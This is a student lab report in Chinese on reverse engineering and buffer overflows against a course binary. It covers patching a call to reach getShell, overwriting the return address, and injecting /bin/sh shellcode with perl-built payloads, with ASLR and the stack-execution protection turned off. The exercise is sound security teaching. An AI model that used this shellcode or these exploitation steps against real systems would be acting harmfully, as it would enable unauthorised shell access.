zoukankan      html  css  js  c++  java
  • 20155306 白皎 《网络攻防》Exp1 PC平台逆向破解——逆向与Bof基础

    20155306 白皎 《网络攻防》Exp1 PC平台逆向破解——逆向与Bof基础

    实践相关说明

    1.1 实践目标

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。

    1.2 基础知识

    • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
    NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
    
    JNE:条件转移指令,如果不相等则跳转。(机器码:75)
    
    JE:条件转移指令,如果相等则跳转。(机器码:74)
    
    JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
    
    CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
    
    
    
    • 掌握反汇编与十六进制编程器
    反汇编:objdump -d XX
    进入十六进制编辑模式:进入十六进制编辑模式
    查询:/
    切回原模式:%!xxd -r
    

    实践一:直接修改程序机器指令,改变程序执行流程

    1.将pwn1文档重命名为pwn20155306

    2.将文件进行备份cp pwn20155306 pwn,得到pwn

    3.将pwn进行反汇编objdump -d

    从下图的红框中我们可以得到在main函数中按正常流程应该调用foo函数,对应的机器码为08048491,现在我们想让main函数调用getshell函数,而getshell对应的机器码是0804747d。在这里我们利用两个地址的相对偏移来改变调用地址,从而使主函数调用getshell。因此,我们编辑备份文件pwn,并按ESC后,输入:%!xxd,转化为十六进制显示模式,查找要修改的内容/e8 d7(注意:在e8 d7之间要加空格,才可以查找到!

    4.计算两个地址之前的偏移量。

    7d比91大14,因此将d7减去14,得到新的地址c3。先按i进入编辑模式,再进行修改,修改完成后::wq来保存。如下图所示:

    5.再反汇编看一下,很明显call指令正确调用getShell。

    实践二:通过构造输入参数,造成BOF攻击,改变程序执行流

    1.反汇编,了解程序的基本功能。

    该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞。

    2.确认输入字符串哪几个字符会覆盖到返回地址。通过gdb调试来尝试确定。

    • 首先,输入1111111122222222333333334444444455555555,观察各个寄存器数值。发现eip寄存器中的值为0x35353535,在ASCII码中30 即为0,因此实际为5555。因此我们将后8个“5”,换成12345678,如下图所示输入,从而判断是那几个数字进行了覆盖。

    • 观察寄存器中的值为0x34333231,同理为1、2、3、4。因此可以推出,这四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn,pwn就会运行getShell。

    3.确认用什么值来覆盖返回地址。

    • 首先通过之前对文件反汇编,可以得到getShell函数的内存地址为0804847d。
    • 由于前一步中,输入1234,得到的地址为34333231。因此,getshell的地址应反着输入,正确的是:11111111222222223333333344444444x7dx84x04x08。

    4.构造输入字符串

    • 因为键盘无法输入x7dx84x04x08这样的16进制数值,所以通过重定向生成包括这样字符串的一个文件。
    • x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
    • 使用16进制查看指令xxd查看input文件的内容。

    实践三:注入Shellcode并执行

    1.准备一段Shellcode

      Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。这次试用一个已经生成的shellcode:
      

    x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
    
    

    2. 准备工作

    root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
    root@KaliYL:~# execstack -q pwn1    //查询文件的堆栈是否可执行
    X pwn1
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
    2
    root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
    0
    

    3.构造要注入的payload

    • Linux下有两种基本构造攻击buf的方法:
      retaddr+nop+shellcode

      nop+shellcode+retaddr。

    • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
      简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。

    • 本次实验,我们使用的结构为:nops+shellcode+retaddr。nop一为是了填充,二是作为“着陆区/滑行区”。
      我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

    root@KaliYL:~# perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
    
    上面最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
    特别提醒:最后一个字符千万不能是x0a。不然下面的操作就做不了了。
    
    

    4.打开一个终端注入这段攻击buf

    root@KaliYL:~# (cat input_shellcode;cat) | ./pwn1
    ������1�Ph//shh/bin��PS��1Ұ
                               �
    

    5.再开另外一个终端,用gdb来调试pwn1这个进程。

    root@KaliYL:/home# ps -ef | grep pwn1 //找到pwn1的进程号是
    
    
    root@KaliYL:/home# gdb//启动gdb调试这个进程
    
    (gdb) attach 27728
    
    

    
    (gdb) disassemble foo// 通过设置断点,来查看注入buf的内存地址
    
    (gdb) break *0x080484ae
    Breakpoint 1 at 0x80484ae
    //!!注意:在另外一个终端中按下回车,这就是前面为什么不能以x0a来结束 input_shellcode的原因。
    
    (gdb) c  
    Continuing.
    
    

    
    (gdb) info r esp //查看寄存器的值
    
    (gdb) x/16x 0xffffd3fc  //看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd400.
    
    

    root@KaliYL:~# perl -e 'print "A" x 32;print "x20xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    
    root@KaliYL:~# xxd input_shellcode
    
    root@KaliYL:~# (cat input_shellcode;cat) | ./pwn1
    

    遇到的困难

    问题1:每次打开想要编辑文件时,总是出现下图的提示,并且打开文件速度特别慢。

    解决:上网搜索后,感觉可能是因为我刚才直接hostname baijiao 改了主机名, 所以接下来就出现这个错误,在主机里面所有的HOSTNAME应该是宏定义,应该不用自己手动改才是,所性直接重启,应该就不会出现这个故障,所以需要通过hostnamectl status查看主机状态真实的主机名是什么,然后通过hostnamectl set-hostname 主机名来真正修改主机名,最后reboot -f来重启生效,这样彻底修改之后以后就不用每次都通过hostname来修改名称了。详细操作见教程《修改hostname主机名》

    解决后正确结果如图:

    问题二:在进行update时,出现如下问题,非常多的错误,以及提示部分索引文件下载失败。

    解决:尝试了老师给的源以及百度的很多源,都更新失败。在不断尝试中,我发现修改文件时,不一定要编辑好几个源进去,反而只放一个源可以成功,我也不清楚为什么,大家可以多尝试一下。比如我只用该教程《修改更新源》中的第一个源就成功了。

    问题三:在进行GDB调试时,不管输入什么命令或者数据,都出现not found。

    解决:原因是 kali默认是不支持运行32位的程序的。需要添加32位程序的相关运行库。因此,按照老师给的教程进行安装就可以调试成功啦,见教程《64位Kali无法顺利执行pwn1问题的解决方案》

  • 相关阅读:
    BZOJ 3105: [cqoi2013]新Nim游戏
    informatica增量抽取图文
    informatica ETL增量抽取(时间戳)
    kafka connector 使用总结以及自定义connector开发(×××××)
    Kafka Connect JDBC-Source 源连接器配置属性
    kafka-connect-jdbc-sink配置属性
    得到自1970年1月1日以来的秒数
    kafka-connect-jdbc(重要)
    confluent kafka-connect-jdbc(非常重要)
    kafka集群版 connectors 通过REST API实现控制
  • 原文地址:https://www.cnblogs.com/0831j/p/8526097.html
Copyright © 2011-2022 走看看